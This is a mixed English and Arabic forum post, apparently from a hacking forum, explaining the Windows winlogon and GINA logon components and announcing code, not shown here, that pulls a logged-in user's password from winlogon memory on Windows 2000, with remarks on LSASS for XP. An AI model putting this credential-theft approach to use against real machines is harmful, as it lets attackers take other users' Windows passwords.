Win2K LOGON PASSWORD . Wanna get it ?
What is winlogon ?
Winlogon : A component of the Windows NT/Windows 2000/Windows XP operating system that provides interactive logon support. Winlogon is designed around an interactive logon model that consists of three components: the Winlogon executable, a Graphical Identification and Authentication dynamic-link library (DLL) — referred to as the GINA — and any number of network providers .
winlogon process in winNT ,win2k handles the user logon & logoff,password input & chage ,workstation lock & unlock.
For more information about winlogon you can see the MSDN ON LINE . Read also about GINA. coool!!
< If you couldn't find it in msdn tell me , I will give you the URL. >
I have noticed that winlogon process identifier PID dose not change even when I restart the computer .Before a few days I fdisk my computer and reinstall winxp I found that winlogon PID as before 512 !!!
I'm not sure of that .
وددت أن أكتب معلومات باللغة العربية لكني لاحظت انه عند إدخال كلمة إنجليزية في نص عربي فسيختلط الحابل بالنابل ولن نفهم ما هو مكتوب
أرجو من الأخوة القائمين على هذا المنتدى الإنتباه لمثل هذه المشاكل , فلا نريد ان نقضي ساعات"بالفعل ساعات©" من أجل نشر موضوع واحد
ذكرت في الجزء الأول انني سأقوم بنشر الكود و ها هو الكود وعذرإ على التأخر في نشره
NOTES :
:D أود أن أشير أن الكود المنشور لست أنا من كتبه و إنما هو ما عثرت عليه في إحدى الصفحات
ما يقوم به الكود ربما ليس مهما للكثيرين , لكن الكود يحوي العديد من الدوال( بعضها غير معلن عنها ) يمكن الإستفادة منها
سأحاول إن شاء الله شرح بعض أجزاء الكود التي" فهمتها " في الحلقة القادمة إن كان هناك من يريد ذلك , كما أرجو من بقية الأخوة المساعدة .
compiler used : Borland c++ builder 5.0 , MS visual c++ 6.0
Code has been tested in win2000 and got the password . COOOOL
For winxp as I said the password is in LSASS process so we have to understand this code maybe we code change the code to be able to get the password in winxp ( Hope so :) ).
I have the EXE file to get the password in winxp ( no source code ) .
بالرغم من أنني لست من توصل إلى كتابة هذا الكود و لكني أود إهداءه لبعض الأصدقاء
